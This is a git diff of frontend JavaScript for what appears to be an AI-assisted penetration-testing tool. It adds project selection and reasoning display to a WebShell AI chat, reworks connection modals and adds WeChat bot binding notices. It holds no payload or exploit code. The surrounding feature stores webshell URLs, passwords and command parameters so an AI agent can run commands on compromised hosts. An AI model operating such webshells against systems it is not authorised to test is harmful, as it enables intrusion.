wsUpdateRoleSelectorDisplay();
|
wsUpdateRoleSelectorDisplay();
|
||||||
wsRenderRoleList();
|
wsRenderRoleList();
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
var stored = localStorage.getItem('cyberstrike-chat-agent-mode') || 'eino_single';
|
var stored = localStorage.getItem('cyberstrike-chat-agent-mode') || 'eino_single';
|
||||||
if (stored !== 'eino_single' && stored !== 'deep' && stored !== 'plan_execute' && stored !== 'supervisor') {
|
if (stored !== 'eino_single' && stored !== 'deep' && stored !== 'plan_execute' && stored !== 'supervisor') {
|
||||||
stored = 'eino_single';
|
stored = 'eino_single';
|
||||||
@@ -370,6 +569,11 @@ document.addEventListener('click', function (e) {
|
|||||||
if (modePanel && modePanel.style.display !== 'none' && modeBtn && !modePanel.contains(e.target) && !modeBtn.contains(e.target)) {
|
if (modePanel && modePanel.style.display !== 'none' && modeBtn && !modePanel.contains(e.target) && !modeBtn.contains(e.target)) {
|
||||||
wsCloseAgentModePanel();
|
wsCloseAgentModePanel();
|
||||||
}
|
}
|
||||||
|
var projectPanel = document.getElementById('ws-project-panel');
|
||||||
|
var projectBtn = document.getElementById('ws-project-btn');
|
||||||
|
if (projectPanel && projectPanel.style.display !== 'none' && projectBtn && !projectPanel.contains(e.target) && !projectBtn.contains(e.target)) {
|
||||||
|
wsCloseProjectPanel();
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// ─── end WebShell AI 选择器 ───
|
// ─── end WebShell AI 选择器 ───
|
||||||
@@ -1873,6 +2077,7 @@ function webshellAiConvListSelect(conn, convId, messagesContainer, listEl) {
|
|||||||
apiFetch('/api/conversations/' + encodeURIComponent(convId) + '?include_process_details=1', { method: 'GET' })
|
apiFetch('/api/conversations/' + encodeURIComponent(convId) + '?include_process_details=1', { method: 'GET' })
|
||||||
.then(function (r) { return r.json(); })
|
.then(function (r) { return r.json(); })
|
||||||
.then(function (data) {
|
.then(function (data) {
|
||||||
|
wsSetWebshellAiProject(conn, data.projectId || data.project_id || '');
|
||||||
messagesContainer.innerHTML = '';
|
messagesContainer.innerHTML = '';
|
||||||
var list = data.messages || [];
|
var list = data.messages || [];
|
||||||
list.forEach(function (msg) {
|
list.forEach(function (msg) {
|
||||||
@@ -1893,9 +2098,14 @@ function webshellAiConvListSelect(conn, convId, messagesContainer, listEl) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
messagesContainer.appendChild(div);
|
messagesContainer.appendChild(div);
|
||||||
if (role === 'assistant' && msg.processDetails && msg.processDetails.length > 0) {
|
if (role === 'assistant') {
|
||||||
var block = renderWebshellProcessDetailsBlock(msg.processDetails, true);
|
var wsMergedDetails = (typeof window.mergeMessageReasoningContentIntoProcessDetails === 'function')
|
||||||
if (block) messagesContainer.appendChild(block);
|
? window.mergeMessageReasoningContentIntoProcessDetails(msg.processDetails || [], msg.reasoningContent)
|
||||||
|
: (msg.processDetails || []);
|
||||||
|
if (wsMergedDetails.length > 0) {
|
||||||
|
var block = renderWebshellProcessDetailsBlock(wsMergedDetails, true);
|
||||||
|
if (block) messagesContainer.appendChild(block);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
if (list.length === 0) {
|
if (list.length === 0) {
|
||||||
@@ -2003,6 +2213,25 @@ function selectWebshell(id, stateReady) {
|
|||||||
'<div id="webshell-ai-messages" class="webshell-ai-messages"></div>' +
|
'<div id="webshell-ai-messages" class="webshell-ai-messages"></div>' +
|
||||||
'<div class="webshell-ai-input-area">' +
|
'<div class="webshell-ai-input-area">' +
|
||||||
'<div class="webshell-ai-selectors-row">' +
|
'<div class="webshell-ai-selectors-row">' +
|
||||||
|
'<div class="ws-project-selector-wrapper project-selector-wrapper">' +
|
||||||
|
'<button type="button" id="ws-project-btn" class="role-selector-btn" onclick="wsToggleProjectPanel()" aria-label="' + escapeHtml(wsProjectT('projects.chatSelectorButton', '选择项目')) + '" aria-haspopup="listbox" aria-expanded="false" title="' + escapeHtml(wsProjectT('projects.chatSelectorButton', '绑定项目后共享事实黑板(跨对话)')) + '">' +
|
||||||
|
'<span class="role-selector-icon" aria-hidden="true">📁</span>' +
|
||||||
|
'<span id="ws-project-text" class="role-selector-text">' + escapeHtml(wsProjectT('projects.noProject', '无项目')) + '</span>' +
|
||||||
|
'<svg class="role-selector-arrow" width="10" height="10" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M6 9l6 6 6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>' +
|
||||||
|
'</button>' +
|
||||||
|
'<div id="ws-project-panel" class="role-selection-panel chat-project-panel" style="display:none;" role="listbox">' +
|
||||||
|
'<div class="role-selection-panel-header">' +
|
||||||
|
'<h3 class="role-selection-panel-title">' + escapeHtml(wsProjectT('projects.selectProject', '选择项目')) + '</h3>' +
|
||||||
|
'<button type="button" class="role-selection-panel-close" onclick="wsCloseProjectPanel()" title="' + escapeHtml(wsProjectT('common.close', '关闭')) + '" aria-label="' + escapeHtml(wsProjectT('common.close', '关闭')) + '">' +
|
||||||
|
'<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M18 6L6 18M6 6l12 12" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg></button>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="chat-project-panel-body">' +
|
||||||
|
'<div id="ws-project-list" class="role-selection-list-main"></div>' +
|
||||||
|
'<div class="chat-project-panel-footer">' +
|
||||||
|
'<button type="button" class="role-selection-item-main chat-project-panel-create-btn" onclick="showNewProjectModalFromWebshellAi()">' +
|
||||||
|
'<span class="chat-project-panel-create-icon" aria-hidden="true">+</span>' +
|
||||||
|
'<span class="chat-project-panel-create-label">' + escapeHtml(wsProjectT('projects.newProject', '新建项目')) + '</span>' +
|
||||||
|
'</button></div></div></div></div>' +
|
||||||
'<div class="ws-role-selector-wrapper">' +
|
'<div class="ws-role-selector-wrapper">' +
|
||||||
'<button type="button" class="role-selector-btn ws-role-selector-btn" id="ws-role-selector-btn" onclick="wsToggleRolePanel()">' +
|
'<button type="button" class="role-selector-btn ws-role-selector-btn" id="ws-role-selector-btn" onclick="wsToggleRolePanel()">' +
|
||||||
'<span id="ws-role-selector-icon" class="role-selector-icon">\ud83d\udd35</span>' +
|
'<span id="ws-role-selector-icon" class="role-selector-icon">\ud83d\udd35</span>' +
|
||||||
@@ -2174,9 +2403,11 @@ function selectWebshell(id, stateReady) {
|
|||||||
var aiNewConvBtn = document.getElementById('webshell-ai-new-conv');
|
var aiNewConvBtn = document.getElementById('webshell-ai-new-conv');
|
||||||
var aiConvListEl = document.getElementById('webshell-ai-conv-list');
|
var aiConvListEl = document.getElementById('webshell-ai-conv-list');
|
||||||
|
|
||||||
// 初始化角色 + 模式选择器
|
// 初始化角色 + 模式 + 项目选择器
|
||||||
wsLoadRoles();
|
wsLoadRoles();
|
||||||
wsInitAgentMode();
|
wsInitAgentMode();
|
||||||
|
if (typeof prefetchProjectsForChat === 'function') prefetchProjectsForChat();
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
var aiMemoInput = document.getElementById('webshell-ai-memo-input');
|
var aiMemoInput = document.getElementById('webshell-ai-memo-input');
|
||||||
var aiMemoStatus = document.getElementById('webshell-ai-memo-status');
|
var aiMemoStatus = document.getElementById('webshell-ai-memo-status');
|
||||||
var aiMemoClearBtn = document.getElementById('webshell-ai-memo-clear');
|
var aiMemoClearBtn = document.getElementById('webshell-ai-memo-clear');
|
||||||
@@ -2225,6 +2456,8 @@ function selectWebshell(id, stateReady) {
|
|||||||
if (aiNewConvBtn) {
|
if (aiNewConvBtn) {
|
||||||
aiNewConvBtn.addEventListener('click', function () {
|
aiNewConvBtn.addEventListener('click', function () {
|
||||||
delete webshellAiConvMap[conn.id];
|
delete webshellAiConvMap[conn.id];
|
||||||
|
delete webshellAiDraftProjectByConn[conn.id];
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
if (aiMessages) {
|
if (aiMessages) {
|
||||||
aiMessages.innerHTML = '';
|
aiMessages.innerHTML = '';
|
||||||
var readyMsg = wsT('webshell.aiSystemReadyMessage') || '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
var readyMsg = wsT('webshell.aiSystemReadyMessage') || '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||||
@@ -2301,10 +2534,14 @@ function selectWebshell(id, stateReady) {
|
|||||||
|
|
||||||
function setDbProfileModalVisible(visible, mode) {
|
function setDbProfileModalVisible(visible, mode) {
|
||||||
if (!dbProfileModalEl) return;
|
if (!dbProfileModalEl) return;
|
||||||
dbProfileModalEl.style.display = visible ? 'block' : 'none';
|
if (visible) {
|
||||||
if (dbProfileModalTitleEl) {
|
if (dbProfileModalTitleEl) {
|
||||||
if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接';
|
if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接';
|
||||||
else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接';
|
else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接';
|
||||||
|
}
|
||||||
|
openAppModal(dbProfileModalEl);
|
||||||
|
} else {
|
||||||
|
closeAppModal(dbProfileModalEl);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2763,7 +3000,15 @@ function loadWebshellAiHistory(conn, messagesContainer) {
|
|||||||
return apiFetch('/api/webshell/connections/' + encodeURIComponent(conn.id) + '/ai-history', { method: 'GET' })
|
return apiFetch('/api/webshell/connections/' + encodeURIComponent(conn.id) + '/ai-history', { method: 'GET' })
|
||||||
.then(function (r) { return r.json(); })
|
.then(function (r) { return r.json(); })
|
||||||
.then(function (data) {
|
.then(function (data) {
|
||||||
if (data.conversationId) webshellAiConvMap[conn.id] = data.conversationId;
|
if (data.conversationId) {
|
||||||
|
webshellAiConvMap[conn.id] = data.conversationId;
|
||||||
|
apiFetch('/api/conversations/' + encodeURIComponent(data.conversationId), { method: 'GET' })
|
||||||
|
.then(function (r) { return r.ok ? r.json() : null; })
|
||||||
|
.then(function (conv) {
|
||||||
|
if (conv) wsSetWebshellAiProject(conn, conv.projectId || conv.project_id || '');
|
||||||
|
})
|
||||||
|
.catch(function () { /* ignore */ });
|
||||||
|
}
|
||||||
var list = Array.isArray(data.messages) ? data.messages : [];
|
var list = Array.isArray(data.messages) ? data.messages : [];
|
||||||
list.forEach(function (msg) {
|
list.forEach(function (msg) {
|
||||||
var role = (msg.role || '').toLowerCase();
|
var role = (msg.role || '').toLowerCase();
|
||||||
@@ -2783,9 +3028,14 @@ function loadWebshellAiHistory(conn, messagesContainer) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
messagesContainer.appendChild(div);
|
messagesContainer.appendChild(div);
|
||||||
if (role === 'assistant' && msg.processDetails && msg.processDetails.length > 0) {
|
if (role === 'assistant') {
|
||||||
var block = renderWebshellProcessDetailsBlock(msg.processDetails, true);
|
var wsHistMerged = (typeof window.mergeMessageReasoningContentIntoProcessDetails === 'function')
|
||||||
if (block) messagesContainer.appendChild(block);
|
? window.mergeMessageReasoningContentIntoProcessDetails(msg.processDetails || [], msg.reasoningContent)
|
||||||
|
: (msg.processDetails || []);
|
||||||
|
if (wsHistMerged.length > 0) {
|
||||||
|
var block = renderWebshellProcessDetailsBlock(wsHistMerged, true);
|
||||||
|
if (block) messagesContainer.appendChild(block);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
if (list.length === 0) {
|
if (list.length === 0) {
|
||||||
@@ -2918,6 +3168,10 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
|||||||
conversationId: convId,
|
conversationId: convId,
|
||||||
role: wsRole
|
role: wsRole
|
||||||
};
|
};
|
||||||
|
if (!convId) {
|
||||||
|
var wsPid = getWebshellAiProjectSelection(conn);
|
||||||
|
if (wsPid) body.projectId = wsPid;
|
||||||
|
}
|
||||||
|
|
||||||
// 流式输出:支持 progress 实时更新、response 打字机效果;若后端发送多段 response 则追加
|
// 流式输出:支持 progress 实时更新、response 打字机效果;若后端发送多段 response 则追加
|
||||||
var streamingTarget = ''; // 当前要打字显示的目标全文(用于打字机效果)
|
var streamingTarget = ''; // 当前要打字显示的目标全文(用于打字机效果)
|
||||||
@@ -2966,6 +3220,11 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
|||||||
|
|
||||||
if (_et === 'conversation' && _ed.conversationId) {
|
if (_et === 'conversation' && _ed.conversationId) {
|
||||||
var convId = _ed.conversationId;
|
var convId = _ed.conversationId;
|
||||||
|
var prevDraft = webshellAiDraftProjectByConn[conn.id];
|
||||||
|
if (prevDraft) {
|
||||||
|
webshellAiProjectByConvId[convId] = prevDraft;
|
||||||
|
delete webshellAiDraftProjectByConn[conn.id];
|
||||||
|
}
|
||||||
webshellAiConvMap[conn.id] = convId;
|
webshellAiConvMap[conn.id] = convId;
|
||||||
var listEl = document.getElementById('webshell-ai-conv-list');
|
var listEl = document.getElementById('webshell-ai-conv-list');
|
||||||
if (listEl) fetchAndRenderWebshellAiConvList(conn, listEl).then(function () {
|
if (listEl) fetchAndRenderWebshellAiConvList(conn, listEl).then(function () {
|
||||||
@@ -3132,28 +3391,6 @@ function runWebshellAiSend(conn, inputEl, sendBtn, messagesContainer) {
|
|||||||
}
|
}
|
||||||
if (!streamingTarget) assistantDiv.textContent = '…';
|
if (!streamingTarget) assistantDiv.textContent = '…';
|
||||||
|
|
||||||
// ─── Tool result delta (streaming output) ───
|
|
||||||
} else if (_et === 'tool_result_delta' && _ed.toolCallId) {
|
|
||||||
var trdKey = _ed.toolCallId;
|
|
||||||
var trdDelta = _em || '';
|
|
||||||
if (trdDelta) {
|
|
||||||
var trdState = wsToolResultStreams.get(trdKey);
|
|
||||||
if (!trdState) {
|
|
||||||
var callEl = wsToolCallItems.get(trdKey);
|
|
||||||
trdState = { el: callEl || null, buf: '', onCall: !!callEl };
|
|
||||||
wsToolResultStreams.set(trdKey, trdState);
|
|
||||||
}
|
|
||||||
trdState.buf += trdDelta;
|
|
||||||
if (trdState.el) {
|
|
||||||
var trdPre = trdState.el.querySelector('pre.tool-result');
|
|
||||||
if (trdPre) {
|
|
||||||
trdPre.classList.remove('tool-result-pending');
|
|
||||||
trdPre.textContent = trdState.buf;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (!streamingTarget) assistantDiv.textContent = '…';
|
|
||||||
|
|
||||||
// ─── Tool result (final) ───
|
// ─── Tool result (final) ───
|
||||||
} else if (_et === 'tool_result' && _ed) {
|
} else if (_et === 'tool_result' && _ed) {
|
||||||
var success = _ed.success !== false;
|
var success = _ed.success !== false;
|
||||||
@@ -4369,37 +4606,38 @@ function showAddWebshellModal() {
|
|||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
|
if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
|
||||||
var modal = document.getElementById('webshell-modal');
|
var modal = document.getElementById('webshell-modal');
|
||||||
if (modal) modal.style.display = 'block';
|
if (modal) openAppModal(modal);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 打开编辑连接弹窗(预填当前连接信息)
|
// 打开编辑连接弹窗(预填当前连接信息)
|
||||||
function showEditWebshellModal(connId) {
|
function showEditWebshellModal(connId) {
|
||||||
var conn = webshellConnections.find(function (c) { return c.id === connId; });
|
var conn = webshellConnections.find(function (c) { return c.id === connId; });
|
||||||
if (!conn) return;
|
if (!conn) return;
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
|
||||||
if (editIdEl) editIdEl.value = conn.id;
|
|
||||||
document.getElementById('webshell-url').value = conn.url || '';
|
|
||||||
document.getElementById('webshell-password').value = conn.password || '';
|
|
||||||
document.getElementById('webshell-type').value = conn.type || 'php';
|
|
||||||
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
|
|
||||||
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
|
|
||||||
var osEditEl = document.getElementById('webshell-os');
|
|
||||||
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
|
|
||||||
var encEditEl = document.getElementById('webshell-encoding');
|
|
||||||
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
|
|
||||||
document.getElementById('webshell-remark').value = conn.remark || '';
|
|
||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
|
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
|
||||||
var modal = document.getElementById('webshell-modal');
|
openAppModal('webshell-modal', { focus: false });
|
||||||
if (modal) modal.style.display = 'block';
|
deferModalContent(function () {
|
||||||
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
|
if (editIdEl) editIdEl.value = conn.id;
|
||||||
|
document.getElementById('webshell-url').value = conn.url || '';
|
||||||
|
document.getElementById('webshell-password').value = conn.password || '';
|
||||||
|
document.getElementById('webshell-type').value = conn.type || 'php';
|
||||||
|
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
|
||||||
|
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
|
||||||
|
var osEditEl = document.getElementById('webshell-os');
|
||||||
|
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
|
||||||
|
var encEditEl = document.getElementById('webshell-encoding');
|
||||||
|
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
|
||||||
|
document.getElementById('webshell-remark').value = conn.remark || '';
|
||||||
|
document.getElementById('webshell-url')?.focus();
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭弹窗
|
// 关闭弹窗
|
||||||
function closeWebshellModal() {
|
function closeWebshellModal() {
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
if (editIdEl) editIdEl.value = '';
|
if (editIdEl) editIdEl.value = '';
|
||||||
var modal = document.getElementById('webshell-modal');
|
closeAppModal('webshell-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端)
|
// 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端)
|
||||||
@@ -4571,7 +4809,7 @@ function refreshWebshellUIOnLanguageChange() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var modal = document.getElementById('webshell-modal');
|
var modal = document.getElementById('webshell-modal');
|
||||||
if (modal && modal.style.display === 'block') {
|
if (modal && isAppModalOpen('webshell-modal')) {
|
||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
if (titleEl) {
|
if (titleEl) {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
let wechatBindSessionKey = null;
|
let wechatBindSessionKey = null;
|
||||||
let wechatBindPollTimer = null;
|
let wechatBindPollTimer = null;
|
||||||
|
let wechatBindFlashTimer = null;
|
||||||
|
|
||||||
function wechatT(key, fallback) {
|
function wechatT(key, fallback) {
|
||||||
return typeof t === 'function' ? t(key) : fallback;
|
return typeof t === 'function' ? t(key) : fallback;
|
||||||
@@ -88,13 +89,50 @@ function stopWechatBindPoll() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 已绑定:仅展示成功状态,不显示二维码/配对码 */
|
function clearWechatBindSuccessNotice() {
|
||||||
|
if (wechatBindFlashTimer) {
|
||||||
|
clearTimeout(wechatBindFlashTimer);
|
||||||
|
wechatBindFlashTimer = null;
|
||||||
|
}
|
||||||
|
const flash = document.getElementById('robot-wechat-bound-flash');
|
||||||
|
if (flash) {
|
||||||
|
flash.classList.remove('is-visible');
|
||||||
|
flash.hidden = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 绑定成功后的内联提示(约 4.5 秒后自动淡出) */
|
||||||
|
function showWechatBindSuccessNotice(message) {
|
||||||
|
const text = message || wechatT('settings.robots.wechat.boundSuccess', '绑定成功,微信机器人已启用。');
|
||||||
|
const flash = document.getElementById('robot-wechat-bound-flash');
|
||||||
|
const flashText = document.getElementById('robot-wechat-bound-flash-text');
|
||||||
|
|
||||||
|
if (flash) {
|
||||||
|
if (flashText) flashText.textContent = text;
|
||||||
|
flash.hidden = false;
|
||||||
|
requestAnimationFrame(() => flash.classList.add('is-visible'));
|
||||||
|
if (wechatBindFlashTimer) clearTimeout(wechatBindFlashTimer);
|
||||||
|
wechatBindFlashTimer = setTimeout(() => {
|
||||||
|
flash.classList.remove('is-visible');
|
||||||
|
wechatBindFlashTimer = setTimeout(() => {
|
||||||
|
flash.hidden = true;
|
||||||
|
wechatBindFlashTimer = null;
|
||||||
|
}, 300);
|
||||||
|
}, 4500);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof window.showChatToast === 'function') {
|
||||||
|
window.showChatToast(text, 'success');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 已绑定:收起二维码区,仅展示紧凑摘要 */
|
||||||
function showWechatBoundUI(wechat) {
|
function showWechatBoundUI(wechat) {
|
||||||
const wc = wechat || {};
|
const wc = wechat || {};
|
||||||
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
||||||
const boundPanel = document.getElementById('robot-wechat-bound-panel');
|
const boundPanel = document.getElementById('robot-wechat-bound-panel');
|
||||||
const scanPanel = document.getElementById('robot-wechat-scan-panel');
|
const scanPanel = document.getElementById('robot-wechat-scan-panel');
|
||||||
const boundId = document.getElementById('robot-wechat-bound-id');
|
const summary = document.getElementById('robot-wechat-bound-summary');
|
||||||
const btn = document.getElementById('robot-wechat-bind-btn');
|
const btn = document.getElementById('robot-wechat-bind-btn');
|
||||||
|
|
||||||
stopWechatBindPoll();
|
stopWechatBindPoll();
|
||||||
@@ -102,8 +140,8 @@ function showWechatBoundUI(wechat) {
|
|||||||
setWechatBadge('bound');
|
setWechatBadge('bound');
|
||||||
setWechatCardBound(true);
|
setWechatCardBound(true);
|
||||||
|
|
||||||
if (wrap) wrap.hidden = false;
|
if (wrap) wrap.hidden = true;
|
||||||
if (boundPanel) boundPanel.hidden = false;
|
if (boundPanel) boundPanel.hidden = true;
|
||||||
if (scanPanel) scanPanel.hidden = true;
|
if (scanPanel) scanPanel.hidden = true;
|
||||||
|
|
||||||
const verifyWrap = document.getElementById('robot-wechat-verify-wrap');
|
const verifyWrap = document.getElementById('robot-wechat-verify-wrap');
|
||||||
@@ -117,14 +155,15 @@ function showWechatBoundUI(wechat) {
|
|||||||
}
|
}
|
||||||
if (ph) ph.hidden = false;
|
if (ph) ph.hidden = false;
|
||||||
|
|
||||||
if (boundId) {
|
const id = wc.ilink_bot_id || document.getElementById('robot-wechat-ilink-bot-id')?.value?.trim() || '';
|
||||||
const id = wc.ilink_bot_id || document.getElementById('robot-wechat-ilink-bot-id')?.value?.trim() || '';
|
if (summary) {
|
||||||
if (id) {
|
if (id) {
|
||||||
boundId.textContent = wechatT('settings.robots.wechat.boundBotId', '已绑定 Bot ID:') + id;
|
const prefix = wechatT('settings.robots.wechat.boundBotId', '已绑定 Bot ID:');
|
||||||
boundId.hidden = false;
|
summary.innerHTML = `${prefix}<code>${escapeHtml(id)}</code>`;
|
||||||
|
summary.hidden = false;
|
||||||
} else {
|
} else {
|
||||||
boundId.textContent = '';
|
summary.textContent = '';
|
||||||
boundId.hidden = true;
|
summary.hidden = true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -133,21 +172,32 @@ function showWechatBoundUI(wechat) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function escapeHtml(text) {
|
||||||
|
return String(text)
|
||||||
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"');
|
||||||
|
}
|
||||||
|
|
||||||
/** 扫码绑定进行中 */
|
/** 扫码绑定进行中 */
|
||||||
function showWechatScanUI() {
|
function showWechatScanUI() {
|
||||||
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
||||||
const boundPanel = document.getElementById('robot-wechat-bound-panel');
|
const boundPanel = document.getElementById('robot-wechat-bound-panel');
|
||||||
const scanPanel = document.getElementById('robot-wechat-scan-panel');
|
const scanPanel = document.getElementById('robot-wechat-scan-panel');
|
||||||
|
const summary = document.getElementById('robot-wechat-bound-summary');
|
||||||
const btn = document.getElementById('robot-wechat-bind-btn');
|
const btn = document.getElementById('robot-wechat-bind-btn');
|
||||||
|
|
||||||
setWechatBadge('scanning');
|
setWechatBadge('scanning');
|
||||||
setWechatCardBound(false);
|
setWechatCardBound(false);
|
||||||
|
clearWechatBindSuccessNotice();
|
||||||
ensureWechatSteps();
|
ensureWechatSteps();
|
||||||
updateWechatSteps('generate');
|
updateWechatSteps('generate');
|
||||||
|
|
||||||
if (wrap) wrap.hidden = false;
|
if (wrap) wrap.hidden = false;
|
||||||
if (boundPanel) boundPanel.hidden = true;
|
if (boundPanel) boundPanel.hidden = true;
|
||||||
if (scanPanel) scanPanel.hidden = false;
|
if (scanPanel) scanPanel.hidden = false;
|
||||||
|
if (summary) summary.hidden = true;
|
||||||
|
|
||||||
const verifyWrap = document.getElementById('robot-wechat-verify-wrap');
|
const verifyWrap = document.getElementById('robot-wechat-verify-wrap');
|
||||||
if (verifyWrap) verifyWrap.hidden = true;
|
if (verifyWrap) verifyWrap.hidden = true;
|
||||||
@@ -163,7 +213,10 @@ function showWechatScanUI() {
|
|||||||
/** 未绑定且未在扫码:隐藏面板 */
|
/** 未绑定且未在扫码:隐藏面板 */
|
||||||
function hideWechatQrWrap() {
|
function hideWechatQrWrap() {
|
||||||
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
const wrap = document.getElementById('robot-wechat-qr-wrap');
|
||||||
|
const summary = document.getElementById('robot-wechat-bound-summary');
|
||||||
if (wrap) wrap.hidden = true;
|
if (wrap) wrap.hidden = true;
|
||||||
|
if (summary) summary.hidden = true;
|
||||||
|
clearWechatBindSuccessNotice();
|
||||||
setWechatBadge('idle');
|
setWechatBadge('idle');
|
||||||
setWechatCardBound(false);
|
setWechatCardBound(false);
|
||||||
}
|
}
|
||||||
@@ -278,6 +331,9 @@ async function pollWechatBindStatus() {
|
|||||||
const idEl = document.getElementById('robot-wechat-ilink-bot-id');
|
const idEl = document.getElementById('robot-wechat-ilink-bot-id');
|
||||||
if (idEl) idEl.value = data.ilink_bot_id;
|
if (idEl) idEl.value = data.ilink_bot_id;
|
||||||
}
|
}
|
||||||
|
showWechatBindSuccessNotice(
|
||||||
|
data.message || wechatT('settings.robots.wechat.boundSuccess', '绑定成功,微信机器人已启用。')
|
||||||
|
);
|
||||||
if (typeof loadConfig === 'function') {
|
if (typeof loadConfig === 'function') {
|
||||||
await loadConfig(false);
|
await loadConfig(false);
|
||||||
} else {
|
} else {
|
||||||
@@ -299,6 +355,9 @@ async function pollWechatBindStatus() {
|
|||||||
break;
|
break;
|
||||||
case 'binded_redirect':
|
case 'binded_redirect':
|
||||||
stopWechatBindPoll();
|
stopWechatBindPoll();
|
||||||
|
showWechatBindSuccessNotice(
|
||||||
|
data.message || wechatT('settings.robots.wechat.alreadyBound', '该微信已绑定过,无需重复绑定。')
|
||||||
|
);
|
||||||
showWechatBoundUI({ bound: true });
|
showWechatBoundUI({ bound: true });
|
||||||
return;
|
return;
|
||||||
case 'expired':
|
case 'expired':
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user